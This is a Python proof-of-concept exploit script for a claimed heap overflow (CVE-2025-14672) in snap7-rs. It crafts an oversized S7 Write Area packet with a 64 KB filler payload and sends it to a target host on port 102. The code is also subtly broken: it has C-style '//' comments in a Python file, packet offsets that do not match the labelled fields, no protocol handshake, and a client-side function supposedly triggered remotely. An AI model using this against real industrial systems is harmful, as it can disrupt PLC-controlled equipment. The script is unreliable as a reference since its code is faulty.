// CVE-2025-14672 PoC - snap7-rs heap buffer overflow in TSnap7MicroClient::opWriteArea
// Target: gmg137/snap7-rs <= 1.142.1
// Author: Security Researcher
import socket
import struct
import sys
def create_exploit_packet():
"""Craft malicious S7 packet to trigger heap buffer overflow"""
# S7 Protocol header
header = bytearray([
0x03, 0x00, 0x00, 0x00, # ROSCTR: Job
0x00, 0x00, 0x00, 0x00, # Redundancy ID
0x00, 0x00, 0x00, 0x00, # PDU reference
0x00, 0x00, 0x00, 0x00, # Parameters length
0x00, 0x00, 0x00, 0x00 # Data length
])
# Function: Write Area (0x05)
function_code = 0x05
# Malicious parameters causing overflow
# Area: 0x84 (S7 Area DB)
# DB number: 1
# Start address: 0
# Amount: large value to overflow
params = bytearray([
function_code,
0x84, # Area type
0x00, 0x01, # DB number
0x00, 0x00, 0x00, # Start address
0xFF, 0xFF, 0xFF, 0xFF # Amount - oversized for overflow
])
# Malicious data payload - exceeds allocated buffer
overflow_data = b'A' * 65536 # Large payload to trigger overflow
packet = header + params + overflow_data
# Fix lengths
struct.pack_into('>H', packet, 10, len(params))
struct.pack_into('>H', packet, 12, len(overflow_data))
return packet
def exploit(target_ip, target_port=102):
"""Send exploit packet to target"""
print(f'[*] Target: {target_ip}:{target_port}')
print(f'[*] Crafting exploit for CVE-2025-14672...')
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect((target_ip, target_port))
packet = create_exploit_packet()
print(f'[*] Sending malicious packet ({len(packet)} bytes)...')
sock.send(packet)
response = sock.recv(1024)
print(f'[*] Received response: {response.hex()}')
print('[+] Exploit sent successfully')
sock.close()
except Exception as e:
print(f'[-] Error: {e}')
if __name__ == '__main__':
if len(sys.argv) < 2:
print(f'Usage: {sys.argv[0]} <target_ip>')
sys.exit(1)
exploit(sys.argv[1])